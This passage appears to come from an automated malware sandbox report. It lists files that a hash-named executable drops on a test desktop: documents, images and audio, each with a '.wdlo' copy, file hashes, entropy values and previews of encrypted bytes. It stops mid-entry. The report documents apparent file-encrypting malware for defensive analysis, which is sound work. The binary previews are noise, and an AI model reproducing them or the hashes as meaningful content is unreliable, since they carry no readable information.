.0.K.t.m...5......G..<O........ .........?(.......Kdr5..!....OE..K..U?o.P../.&.S...z.\|..s..$~m$.?~..w...W...._I..}Xy....].N....1NK.Z9...$

C:\Users\user\Desktop\EEGWXUHVUG\NVWZAPQSQL.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863042239718856
Encrypted:	false
SSDEEP:	24:FifXX7x88RjsdEHEZU+bscsqC8ok6yIe52PnOBYsTTkHoVMUziz6MzRcW1oAguQr:F8XXeSIdEHEZrwcPmDeEnE7TTkHqLzim
MD5:	23651A87EF563E40740088DB39314065
SHA1:	53C76DAAD632C0DBB8555A06BDA30C8AF7819258
SHA-256:	D13C644C5DFD2721892C7E98897F2FEE78AD20562C308A8BF9364FAA2B21D5C3
SHA-512:	814F8931528AE4A0489974A991708F71FF5D3814C30860C6D98B220A3A45860E543D6F3556497671C427F2FC4AF275387C4567823DF04024FDCBFB0762CD354E
Malicious:	false
Preview:	NVWZA........"../..I..QAw.../.....[....j0.7o.Z...gs.E..g..,.;.!...Z...J..lu..S(S.m...~w.i....y..@f.r_X..V.J...u.Y}R..R..8.3.82.........K].<!...7F7M!....)...q..-. .o..0oF.....e^...ofG......z.`...y...!c3.....M.........vr.'.Ifa_.....,EN!...A..{.^..Cp.L.....4[....E...#L....,\|..F..c..........E.6...O....:..K6.J8...}....5..hBw...oS..G..pI.....&......{...X(..Vfzw1..<.-T...;.\|......t....N.V.g..fm2...z.f...R!...Do)....l;....q.<=.Q.(._-..#N.....e.>T...a.{.7f.}.........c..H..K[.G...J.\|$.,.n....b\|0....n:....D.c.0..L..=....i..d...P.2Z...g'..............w/MPs....5.%g.x..K......K0......w...x.9...i...wt...W...x.\.2......s."....M........$.'..........c...C.....2.....9.f.E.0p%ra#.e..i...g..q+.#..:..L.+B...d.\|.ng..Hq..DS...]......EN. ..]'.i......)_.....e..w..(...L....T.T......T.+g..:%....:8^s..T....g.c"..M$^=uO.z..lZ..V.. /?.?9.....`~.>a.k..@Fta....AV..9?>@..q..vf.....l.Wh........>...u).....e.>p.!:..!..&...2..'..5..Rs?..>..]U.V...A..-M9........qP...x...

C:\Users\user\Desktop\EEGWXUHVUG\NVWZAPQSQL.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863042239718856
Encrypted:	false
SSDEEP:	24:FifXX7x88RjsdEHEZU+bscsqC8ok6yIe52PnOBYsTTkHoVMUziz6MzRcW1oAguQr:F8XXeSIdEHEZrwcPmDeEnE7TTkHqLzim
MD5:	23651A87EF563E40740088DB39314065
SHA1:	53C76DAAD632C0DBB8555A06BDA30C8AF7819258
SHA-256:	D13C644C5DFD2721892C7E98897F2FEE78AD20562C308A8BF9364FAA2B21D5C3
SHA-512:	814F8931528AE4A0489974A991708F71FF5D3814C30860C6D98B220A3A45860E543D6F3556497671C427F2FC4AF275387C4567823DF04024FDCBFB0762CD354E
Malicious:	false
Preview:	NVWZA........"../..I..QAw.../.....[....j0.7o.Z...gs.E..g..,.;.!...Z...J..lu..S(S.m...~w.i....y..@f.r_X..V.J...u.Y}R..R..8.3.82.........K].<!...7F7M!....)...q..-. .o..0oF.....e^...ofG......z.`...y...!c3.....M.........vr.'.Ifa_.....,EN!...A..{.^..Cp.L.....4[....E...#L....,\|..F..c..........E.6...O....:..K6.J8...}....5..hBw...oS..G..pI.....&......{...X(..Vfzw1..<.-T...;.\|......t....N.V.g..fm2...z.f...R!...Do)....l;....q.<=.Q.(._-..#N.....e.>T...a.{.7f.}.........c..H..K[.G...J.\|$.,.n....b\|0....n:....D.c.0..L..=....i..d...P.2Z...g'..............w/MPs....5.%g.x..K......K0......w...x.9...i...wt...W...x.\.2......s."....M........$.'..........c...C.....2.....9.f.E.0p%ra#.e..i...g..q+.#..:..L.+B...d.\|.ng..Hq..DS...]......EN. ..]'.i......)_.....e..w..(...L....T.T......T.+g..:%....:8^s..T....g.c"..M$^=uO.z..lZ..V.. /?.?9.....`~.>a.k..@Fta....AV..9?>@..q..vf.....l.Wh........>...u).....e.>p.!:..!..&...2..'..5..Rs?..>..]U.V...A..-M9........qP...x...

C:\Users\user\Desktop\EEGWXUHVUG\PALRGUCVEH.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8778178416126075
Encrypted:	false
SSDEEP:	24:NzVUCxgW4dzay6imcDydGkDHBBENLlg+nsoUGyjYNQWX3zbD:NzVrxmt/NDIDENBgAsDjZo3nD
MD5:	075BF1EE06746C40A76CA173B3F4D59F
SHA1:	ECD33A121245DA77D6A21E0042C42A672DA6CC34
SHA-256:	22C2644BB4A74AF9ED7646843658C6D7C3DFBC4D2FA3FEC19E5501BD958671C7
SHA-512:	5BDBCAF01D2B354B73AE84D7A50576165E90592FC11627D5CD4B5CD79947B721452E3ADCD2762B963DF4DDA1ECFA5329E830B115EB6A55C364F7F72859DFA11B
Malicious:	false
Preview:	PALRGu]..he8.../....3.-.;.zc.@D... f....-.{m.U.........^..6:...].u.......{.u.y..^R.B.U.rF....H..d.\|;).\|...>..9a.d.......w`b.3. ...!...Q..1O....rJ.x....Q(5bh.d..c+%.....9.j\.^.KhG......Q.7.K9..Q..o..lss[..uM`.B...,.......z..7a.6..T..R.mM....M.e.....@\...f)...?qB...........0..jz>.K..N.b.$=^\.w{....t..V$...l.....kq.^+e5.....Y'........JW...M"...:......./~..[.J.....~;p7..).]#].l.$.>.L.5....>.%...A....4.<....)...?.i.....%c5..a.9.J.HK..&.KV.}....W.L.....i...U.JU..<....Z.f.'z.\|..&.....L...N)'h\|h..7..8..N..$..r.]#U..7s..J..1C.5g.r..+...bp...}\%Q.T.l./..@.'w`..u....J....m.l ~."......[.z..l......4c..%#A.o....Y.H..@..1._.A _H...a!..s.".I..P...w9.......`ew..$'.7..Au0...].l...Q?...r....f.ew...'`'>\|..y.r.0,.l...<.<....w.3....\|.v....kX....jh@..T.g..2.mn.V.....XH`$7.....k.....WS..aTFS.....k......V....(6o....$...#.;.rrH...L.jV..#/y...Z.b..H.g.d.....KXm/...Y\.....r..c.V@y....J......o8.?....;.+...+L...!..{x..&w..-...\|.z...a....)L....R.<].*..).....

C:\Users\user\Desktop\EEGWXUHVUG\PALRGUCVEH.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8778178416126075
Encrypted:	false
SSDEEP:	24:NzVUCxgW4dzay6imcDydGkDHBBENLlg+nsoUGyjYNQWX3zbD:NzVrxmt/NDIDENBgAsDjZo3nD
MD5:	075BF1EE06746C40A76CA173B3F4D59F
SHA1:	ECD33A121245DA77D6A21E0042C42A672DA6CC34
SHA-256:	22C2644BB4A74AF9ED7646843658C6D7C3DFBC4D2FA3FEC19E5501BD958671C7
SHA-512:	5BDBCAF01D2B354B73AE84D7A50576165E90592FC11627D5CD4B5CD79947B721452E3ADCD2762B963DF4DDA1ECFA5329E830B115EB6A55C364F7F72859DFA11B
Malicious:	false
Preview:	PALRGu]..he8.../....3.-.;.zc.@D... f....-.{m.U.........^..6:...].u.......{.u.y..^R.B.U.rF....H..d.\|;).\|...>..9a.d.......w`b.3. ...!...Q..1O....rJ.x....Q(5bh.d..c+%.....9.j\.^.KhG......Q.7.K9..Q..o..lss[..uM`.B...,.......z..7a.6..T..R.mM....M.e.....@\...f)...?qB...........0..jz>.K..N.b.$=^\.w{....t..V$...l.....kq.^+e5.....Y'........JW...M"...:......./~..[.J.....~;p7..).]#].l.$.>.L.5....>.%...A....4.<....)...?.i.....%c5..a.9.J.HK..&.KV.}....W.L.....i...U.JU..<....Z.f.'z.\|..&.....L...N)'h\|h..7..8..N..$..r.]#U..7s..J..1C.5g.r..+...bp...}\%Q.T.l./..@.'w`..u....J....m.l ~."......[.z..l......4c..%#A.o....Y.H..@..1._.A _H...a!..s.".I..P...w9.......`ew..$'.7..Au0...].l...Q?...r....f.ew...'`'>\|..y.r.0,.l...<.<....w.3....\|.v....kX....jh@..T.g..2.mn.V.....XH`$7.....k.....WS..aTFS.....k......V....(6o....$...#.;.rrH...L.jV..#/y...Z.b..H.g.d.....KXm/...Y\.....r..c.V@y....J......o8.?....;.+...+L...!..{x..&w..-...\|.z...a....)L....R.<].*..).....

C:\Users\user\Desktop\EFOYFBOLXA.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861672994668485
Encrypted:	false
SSDEEP:	24:0N3SDNKkpriuInSsZPTHmM26ex0D2MXaYtaOFP+93zbD:0N3SDNKkRnIn7hG1XxXE8OFW93nD
MD5:	B37DF24BE24B9D5BB503FE02AF7BCA27
SHA1:	CE708FD06AEA1ABD06E60C7869BB3491CCCD1A29
SHA-256:	DB7F46003F023A4DD3913E26879B07571AFE7236C288B47CA79AA129A20ACAA1
SHA-512:	915A9F43F35F31A797A49552ADD4BA39ECDEA1AB14C7089B7134A6A5FC996418938DED7494EDEB57573B7A56A475ACAE1AD5378A6AA9F664FDCC50D9FAF22C97
Malicious:	false
Preview:	EFOYFz.....,.{.....7l....xHI.._..../..\.b.0tF. .0.....#A.b;..ps.r...9..].1.......bm..P?.jn].........c.k.."....~...b.b3...:.#.o.e.,o.....}.Y.in.&?.B.<.....%.ye.#.)..].=....p..m.sh....I..~.n.W.{=.O..I.Q.G.....o.J.@.S....d...0?-..z.RT.Uz.e..Ak...G.~..1...Xz!.\dI(..c@..\.F..wX.S_J..m.......!.`.w.#.L.`....5.k..T...."....L.a=ht.l..[.....................l:F.].......A.l..(bR.Z...,.Q..p..o.z..6r/........R.6...)....@...?..5ZT\.O&<2...DY.R!..........o....fm]...'Zt.u........$.,_.X.......=.....<.'.....q..(xT.p.u@......OS.:V.Uy.J>..a...W.].......Q.."a.jf..hlyu....A}O12.<.C_...q%..5\|A.....w..5.EY..!....}..e/.f.x^j...P.-H..N..3....<d9.....}UB..........xD..=HH..Q...g4.[d........3wq1.Q.Y..IakRC.S..&.=.=....T.N).....<..{...Wm.s..\.;].6..Q'.p....L.0...?...,.P..AE.....t...8~/...]wj.a.=.&......T....\|u..M..M.Y...Q.".Rig.\.\|W.f...>./...v..?.......d..\..)..S".9..2w.y..p......2..2JY.dr.../.R...2/QB..S.....1..Oy'0.....w6'..~.0...E.@L....2.r......8.'.u..\|...T=..Ne`......

C:\Users\user\Desktop\EFOYFBOLXA.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861672994668485
Encrypted:	false
SSDEEP:	24:0N3SDNKkpriuInSsZPTHmM26ex0D2MXaYtaOFP+93zbD:0N3SDNKkRnIn7hG1XxXE8OFW93nD
MD5:	B37DF24BE24B9D5BB503FE02AF7BCA27
SHA1:	CE708FD06AEA1ABD06E60C7869BB3491CCCD1A29
SHA-256:	DB7F46003F023A4DD3913E26879B07571AFE7236C288B47CA79AA129A20ACAA1
SHA-512:	915A9F43F35F31A797A49552ADD4BA39ECDEA1AB14C7089B7134A6A5FC996418938DED7494EDEB57573B7A56A475ACAE1AD5378A6AA9F664FDCC50D9FAF22C97
Malicious:	false
Preview:	EFOYFz.....,.{.....7l....xHI.._..../..\.b.0tF. .0.....#A.b;..ps.r...9..].1.......bm..P?.jn].........c.k.."....~...b.b3...:.#.o.e.,o.....}.Y.in.&?.B.<.....%.ye.#.)..].=....p..m.sh....I..~.n.W.{=.O..I.Q.G.....o.J.@.S....d...0?-..z.RT.Uz.e..Ak...G.~..1...Xz!.\dI(..c@..\.F..wX.S_J..m.......!.`.w.#.L.`....5.k..T...."....L.a=ht.l..[.....................l:F.].......A.l..(bR.Z...,.Q..p..o.z..6r/........R.6...)....@...?..5ZT\.O&<2...DY.R!..........o....fm]...'Zt.u........$.,_.X.......=.....<.'.....q..(xT.p.u@......OS.:V.Uy.J>..a...W.].......Q.."a.jf..hlyu....A}O12.<.C_...q%..5\|A.....w..5.EY..!....}..e/.f.x^j...P.-H..N..3....<d9.....}UB..........xD..=HH..Q...g4.[d........3wq1.Q.Y..IakRC.S..&.=.=....T.N).....<..{...Wm.s..\.;].6..Q'.p....L.0...?...,.P..AE.....t...8~/...]wj.a.=.&......T....\|u..M..M.Y...Q.".Rig.\.\|W.f...>./...v..?.......d..\..)..S".9..2w.y..p......2..2JY.dr.../.R...2/QB..S.....1..Oy'0.....w6'..~.0...E.@L....2.r......8.'.u..\|...T=..Ne`......

C:\Users\user\Desktop\EFOYFBOLXA\BJZFPPWAPT.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863670183415272
Encrypted:	false
SSDEEP:	24:+m73cIUtHHi7E2xLKo8pNvzgjxTpd6FUqfmnCh+iJAX2xZMr/Ue3rMJsJw0L2LKe:+mThUtHHO5xLKou5zgjZrq+TKmr/HMJL
MD5:	30F9FD433A40F19830301F75777B78CF
SHA1:	ED9105EB76AB4B84908A1EB5817794ADB8497762
SHA-256:	B2A2CC7ACD7825C2B23A86635523FAA1F079E559C6FB85FCCE82F1C3855BBE7D
SHA-512:	620D974FC443052B6AA139197BF16D1B4ED59736E22184B06819A73427EAB7F489744D9EEE33D4518FDDD478C599AF5B5A40A4B60F9D86F1705FDA360693AC0B
Malicious:	false
Preview:	BJZFP.k....Nm.%.9....(.}c[.........T,...c.y.A8.$..3:.r..m....'..U.;.]F..n.Z.k..[.0Yxy.V..(....u....a.e... .Z.gEU(...=..X.G...W.8...?...D...8E-.u86.{yUI{.Pgy7..j...#...<......bD...Z..yT......a^....-.L.$....`.Fk..^..+........d0...aJ..;...V..t.k...S..1i......zl4...5.._eJJ.Z]..$bS/..#yP..fO.../........\|..az.:.`..2.=P./...{..Sh.F..vH...C.<7..32....,..qu......=.....$}t...:^.."...cm...w......\...e.0..E....$..g#.N"LD..t+`L$.YL2<8.x....F..#f)D9.c..1[..t.(.{W.-h_.O..8..c...w..&.l.}.-#z....i..H.\|...b.nHzM2..$.A.g.v.Ck.q`..[.....IN.$....:2Q.r..p..}F&..?..k..>.j.\..\l.^..>...=.L\|.`.....S*0.-..x..W........X`.9j.._.....{....8.....Y..q.,..z.1.B..5.l.Bd...V..w..u>t......B...;.@..uc.(/..^F......S..M.?.....G.;iK..4,D....}....PC.R....!.u......Zb..l....W....5..&:..1..C]..k.0.v.L........X..9.....+...s. .rdO<...8.}.=.Tq...v........a.kNoX.{? x.pP.(...j..5.T...T..W.........Z..y .\|.U.`.Y.....Q.#...%.....P.U...m.?{.B...r....(....Ll.2....]..:M..-o.>.<.....#.5.Zp..

C:\Users\user\Desktop\EFOYFBOLXA\BJZFPPWAPT.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863670183415272
Encrypted:	false
SSDEEP:	24:+m73cIUtHHi7E2xLKo8pNvzgjxTpd6FUqfmnCh+iJAX2xZMr/Ue3rMJsJw0L2LKe:+mThUtHHO5xLKou5zgjZrq+TKmr/HMJL
MD5:	30F9FD433A40F19830301F75777B78CF
SHA1:	ED9105EB76AB4B84908A1EB5817794ADB8497762
SHA-256:	B2A2CC7ACD7825C2B23A86635523FAA1F079E559C6FB85FCCE82F1C3855BBE7D
SHA-512:	620D974FC443052B6AA139197BF16D1B4ED59736E22184B06819A73427EAB7F489744D9EEE33D4518FDDD478C599AF5B5A40A4B60F9D86F1705FDA360693AC0B
Malicious:	false
Preview:	BJZFP.k....Nm.%.9....(.}c[.........T,...c.y.A8.$..3:.r..m....'..U.;.]F..n.Z.k..[.0Yxy.V..(....u....a.e... .Z.gEU(...=..X.G...W.8...?...D...8E-.u86.{yUI{.Pgy7..j...#...<......bD...Z..yT......a^....-.L.$....`.Fk..^..+........d0...aJ..;...V..t.k...S..1i......zl4...5.._eJJ.Z]..$bS/..#yP..fO.../........\|..az.:.`..2.=P./...{..Sh.F..vH...C.<7..32....,..qu......=.....$}t...:^.."...cm...w......\...e.0..E....$..g#.N"LD..t+`L$.YL2<8.x....F..#f)D9.c..1[..t.(.{W.-h_.O..8..c...w..&.l.}.-#z....i..H.\|...b.nHzM2..$.A.g.v.Ck.q`..[.....IN.$....:2Q.r..p..}F&..?..k..>.j.\..\l.^..>...=.L\|.`.....S*0.-..x..W........X`.9j.._.....{....8.....Y..q.,..z.1.B..5.l.Bd...V..w..u>t......B...;.@..uc.(/..^F......S..M.?.....G.;iK..4,D....}....PC.R....!.u......Zb..l....W....5..&:..1..C]..k.0.v.L........X..9.....+...s. .rdO<...8.}.=.Tq...v........a.kNoX.{? x.pP.(...j..5.T...T..W.........Z..y .\|.U.`.Y.....Q.#...%.....P.U...m.?{.B...r....(....Ll.2....]..:M..-o.>.<.....#.5.Zp..

C:\Users\user\Desktop\EFOYFBOLXA\DUUDTUBZFW.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8707799495745565
Encrypted:	false
SSDEEP:	24:hegGSas0V5A6JMBO7gLOby8AFpFAKprHrQ+ly4F/awJrJNAVneoIGTE63zbD:mco+6f7gn7F0U5JVNA9f3nD
MD5:	BF4C28B37AC1079F95E55AE1B721E1C5
SHA1:	97D0210125568B8A8F54162780FC961CE90E98C8
SHA-256:	7C3522E3F01820B83459BF5388141C21D22FE0E3E356A0B5B14362C88C051037
SHA-512:	0C75DB27719C9E159AC1BC3566BF153E585E2E75134EE3AFE76F5D3868F4D142E597C8898598F6B4B4971C82A224707DE455395CC7B434248596109814E130BF
Malicious:	false
Preview:	DUUDT.o.A>.+..%.&CE...4..21c\|.L"OAr..w.I...1..Z.2....0R.pI....pmP...=2jZ..i...a.%.?.v..............5.z.}...`c.....k7....0lU>t..!....0..o..!v/.!9.....ZG..o...v.1.`H..s>.x..L..,....B.....a......7..V.Q>.rk.k\|...woy'r..B..}..{.sgq....~..N}........4@...h...Z....i..".p2.)._..E.9.Y.d...F?..M...D.^.X...\|..s.L.M3j.(.3.....l....9..O..z..~.DJ....\|..J.]........UK.Mj[.?...$.Fp...\....R.....`@(..M\..G..;.'...c.>f.b...,r...h....yya...J.F..r.-#...u.....1@S).yB_.On.........[\./.&.%p.eE....T.yp.{.O.M...4L...6...../....,...-...P,;I.l.h...w...<1.F.f.(,.W...+.FHn....e.....:.v....."Q..F.Q......;.1.JW=.y.2..7.:...[]..j...7..^..T.hMg.1.............+.2..pD.,.......*j.=VV..[z..`.........5....PY..3W.,....CN.&>3.)C5..U...b'^\.&......S...D.u.-vK{.2.?.`!,wF..`F.!gSH....Xx....ug..&.qM..V.s....\.g. .k....f........`.."5..L.gi.....,.d.d+;R..{ :.8..opr....A...._h.E.]./..<.)j3...=.P....l.SR.X\.w..^.0..ZF2..\D.........#J...].......-.[.D...cZ_.......I....:.b.....^.0.C.<.

C:\Users\user\Desktop\EFOYFBOLXA\DUUDTUBZFW.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8707799495745565
Encrypted:	false
SSDEEP:	24:hegGSas0V5A6JMBO7gLOby8AFpFAKprHrQ+ly4F/awJrJNAVneoIGTE63zbD:mco+6f7gn7F0U5JVNA9f3nD
MD5:	BF4C28B37AC1079F95E55AE1B721E1C5
SHA1:	97D0210125568B8A8F54162780FC961CE90E98C8
SHA-256:	7C3522E3F01820B83459BF5388141C21D22FE0E3E356A0B5B14362C88C051037
SHA-512:	0C75DB27719C9E159AC1BC3566BF153E585E2E75134EE3AFE76F5D3868F4D142E597C8898598F6B4B4971C82A224707DE455395CC7B434248596109814E130BF
Malicious:	false
Preview:	DUUDT.o.A>.+..%.&CE...4..21c\|.L"OAr..w.I...1..Z.2....0R.pI....pmP...=2jZ..i...a.%.?.v..............5.z.}...`c.....k7....0lU>t..!....0..o..!v/.!9.....ZG..o...v.1.`H..s>.x..L..,....B.....a......7..V.Q>.rk.k\|...woy'r..B..}..{.sgq....~..N}........4@...h...Z....i..".p2.)._..E.9.Y.d...F?..M...D.^.X...\|..s.L.M3j.(.3.....l....9..O..z..~.DJ....\|..J.]........UK.Mj[.?...$.Fp...\....R.....`@(..M\..G..;.'...c.>f.b...,r...h....yya...J.F..r.-#...u.....1@S).yB_.On.........[\./.&.%p.eE....T.yp.{.O.M...4L...6...../....,...-...P,;I.l.h...w...<1.F.f.(,.W...+.FHn....e.....:.v....."Q..F.Q......;.1.JW=.y.2..7.:...[]..j...7..^..T.hMg.1.............+.2..pD.,.......*j.=VV..[z..`.........5....PY..3W.,....CN.&>3.)C5..U...b'^\.&......S...D.u.-vK{.2.?.`!,wF..`F.!gSH....Xx....ug..&.qM..V.s....\.g. .k....f........`.."5..L.gi.....,.d.d+;R..{ :.8..opr....A...._h.E.]./..<.)j3...=.P....l.SR.X\.w..^.0..ZF2..\D.........#J...].......-.[.D...cZ_.......I....:.b.....^.0.C.<.

C:\Users\user\Desktop\EFOYFBOLXA\EFOYFBOLXA.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861382778478113
Encrypted:	false
SSDEEP:	24:P1QRfhAJXb9YiqmoaoG0jKlG4G4BkFXF1CqsVdB5dI+k7nGwn5y3zbD:P1ENsoaoGYKlDByqVPlknng3nD
MD5:	83F9A9693C3BB404BEB7BAB89C128CC8
SHA1:	E502FF52816A92417E44101C7EF977BF8C1A4D06
SHA-256:	22E27D15CB64F7F726D3BBF4CCBDAE9F99724A6FE58E5BEBA1C6BEED555ED128
SHA-512:	3947A729383534D2E713B717E1396E31B2AC5E16D1A944D6D140870B4C4165ACF95EF3F4CF6C59B8C4F3A2999FA5CA1FF534306202F531E64674B2A12E619D50
Malicious:	false
Preview:	EFOYF.).{T.Fq....b.-.X..%G<.%.. ......I./g.1c.`....Ou.l4.'Zc.n.R.......b.6.k`z.tM.;..E.w..,.JCO..!...d+.~.\|...3\|.B..k7]..............{.HqI.....G.[...3#.l.K.6(.d.M:..:............ ...).3....}....C2...V...@.......Z;w3.X/..q...E.r.....9.tR~.m......W..^.O.../..z{..q(.Y_.{0,..Y..Z;.......{..OU...;n#>\ .e1.lY..l...9y...{...ET.Yp...0at..4...&m.AO(.s..>...Cl$TT.o...6..u..y..&]...uh.-.>h3..%..7.K%.....f.....j.>.S>.,.e..!Bj.J.l.(.-v.; ..xIvC..<&..1,.1M.. .XUR...vL....Z...a.n...8.l\|-..p........B.P.Q.K8.......".y..a..~....%?..mT .YPO..A.Op...+]....&j..u.....#.&.>..q.pu.....F..... .e.HXO:...%...(.w......I..NR.S.`.}.../......#....N..'.:.W.R7....S.C.q..8.FZo.o........,..%.......k...t/....B......e......B........S....IS.....F....aAsx..`..Jr.....\..\....z.lFP.>..).e+.<..P.W......Q...].}.xh...>txK..eC-<..:.J6..{[.5O..0.Z........F........K...i...b......2.?8.@.b..9.?j.......zB..p&.".i\.:B.s.h8nS=.........@..M;o......1QT3..^..2.Mh7..0.U.K.K.L.

C:\Users\user\Desktop\EFOYFBOLXA\EFOYFBOLXA.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861382778478113
Encrypted:	false
SSDEEP:	24:P1QRfhAJXb9YiqmoaoG0jKlG4G4BkFXF1CqsVdB5dI+k7nGwn5y3zbD:P1ENsoaoGYKlDByqVPlknng3nD
MD5:	83F9A9693C3BB404BEB7BAB89C128CC8
SHA1:	E502FF52816A92417E44101C7EF977BF8C1A4D06
SHA-256:	22E27D15CB64F7F726D3BBF4CCBDAE9F99724A6FE58E5BEBA1C6BEED555ED128
SHA-512:	3947A729383534D2E713B717E1396E31B2AC5E16D1A944D6D140870B4C4165ACF95EF3F4CF6C59B8C4F3A2999FA5CA1FF534306202F531E64674B2A12E619D50
Malicious:	false
Preview:	EFOYF.).{T.Fq....b.-.X..%G<.%.. ......I./g.1c.`....Ou.l4.'Zc.n.R.......b.6.k`z.tM.;..E.w..,.JCO..!...d+.~.\|...3\|.B..k7]..............{.HqI.....G.[...3#.l.K.6(.d.M:..:............ ...).3....}....C2...V...@.......Z;w3.X/..q...E.r.....9.tR~.m......W..^.O.../..z{..q(.Y_.{0,..Y..Z;.......{..OU...;n#>\ .e1.lY..l...9y...{...ET.Yp...0at..4...&m.AO(.s..>...Cl$TT.o...6..u..y..&]...uh.-.>h3..%..7.K%.....f.....j.>.S>.,.e..!Bj.J.l.(.-v.; ..xIvC..<&..1,.1M.. .XUR...vL....Z...a.n...8.l\|-..p........B.P.Q.K8.......".y..a..~....%?..mT .YPO..A.Op...+]....&j..u.....#.&.>..q.pu.....F..... .e.HXO:...%...(.w......I..NR.S.`.}.../......#....N..'.:.W.R7....S.C.q..8.FZo.o........,..%.......k...t/....B......e......B........S....IS.....F....aAsx..`..Jr.....\..\....z.lFP.>..).e+.<..P.W......Q...].}.xh...>txK..eC-<..:.J6..{[.5O..0.Z........F........K...i...b......2.?8.@.b..9.?j.......zB..p&.".i\.:B.s.h8nS=.........@..M;o......1QT3..^..2.Mh7..0.U.K.K.L.

C:\Users\user\Desktop\EFOYFBOLXA\EWZCVGNOWT.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853860881364747
Encrypted:	false
SSDEEP:	24:QeBADXZu9V4eUfY8x9He7jxsVYvCTOQ1GWPYlz3NbmtQQUVSmyuzB3zbD:QhW6asVva7z3NQoDy8B3nD
MD5:	D3F2E54600E6737125675203C2A38D23
SHA1:	9F6536930D38EBD11C36F666575C6BA5866CCC9F
SHA-256:	D3B6E837EBED708C5E2052D09BAA8C02E3368CCDAA6D8B453DB40E0A2A4F082E
SHA-512:	69CE967A0AEF67ACF8267E363B8C7FABAD1C7C1FCCD75729B16282C52941950EBD470E8816BEB2D7B6444F368D66C8B65AE448DF123ECDA5413FC34CE6FF4991
Malicious:	false
Preview:	EWZCV.....V...V.i...d..kSf.T.........W^....#FU@..,...5."..)f...Wu.J..^d...e.........i2.w..7.....\5.W....0..N..".t....J....e...CHF&.........A.Y{M.._N%.:...U...=....&....:U.X.C..3...0CW..h.DP.L.y...........A....M.....r...........0.Y.=pL..c..M.y..T..K...qX...\,].]...^...+J +.0.hYnV8'...>..C..j.V.y'].......N...<bv..bj..6.37.......F(Y.7..Q@(.#Gid.$.fc.u.x#l..6...u....{6.M.Yo..\|\.....v...DM.xlW.RxY..K....'E."v ._'.^...v......Q..e.. /?6..J0Xi.#...N^....;..........I..a..Izv...?l+..%..}q..?.......=...%;.Y..'._E)....:d...s<.j.r$.+d..:.S..U .]2q.02.`m..o.k......<....-X.U..2....Y.U.S#I.1~9..RD..HF\.-d.b.6.0..."......@......{.._.F..2,."..<....)...N....".[QV....-.....%..L.p.5..].>..#n.1..d.h..3DA}.g..=...c.Yj.D....]..oz`..M.2.b..S...Nl...B.....,2.b.{..E..H.%..y/...b...A..,=}.-.q.`u.....nN.NdBHa.C.;.x..g.j)'4...1.0...^.?..AM:..{J..DI.;...!.\|..$.{.qwi1.}.-..s]G..rC^..9V....TW.&v.`...2D'. .Y.}.A..j.J%.x.....P..c......&*.E.y..B.t.O.B..:,..EJOjA.......G.

C:\Users\user\Desktop\EFOYFBOLXA\EWZCVGNOWT.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853860881364747
Encrypted:	false
SSDEEP:	24:QeBADXZu9V4eUfY8x9He7jxsVYvCTOQ1GWPYlz3NbmtQQUVSmyuzB3zbD:QhW6asVva7z3NQoDy8B3nD
MD5:	D3F2E54600E6737125675203C2A38D23
SHA1:	9F6536930D38EBD11C36F666575C6BA5866CCC9F
SHA-256:	D3B6E837EBED708C5E2052D09BAA8C02E3368CCDAA6D8B453DB40E0A2A4F082E
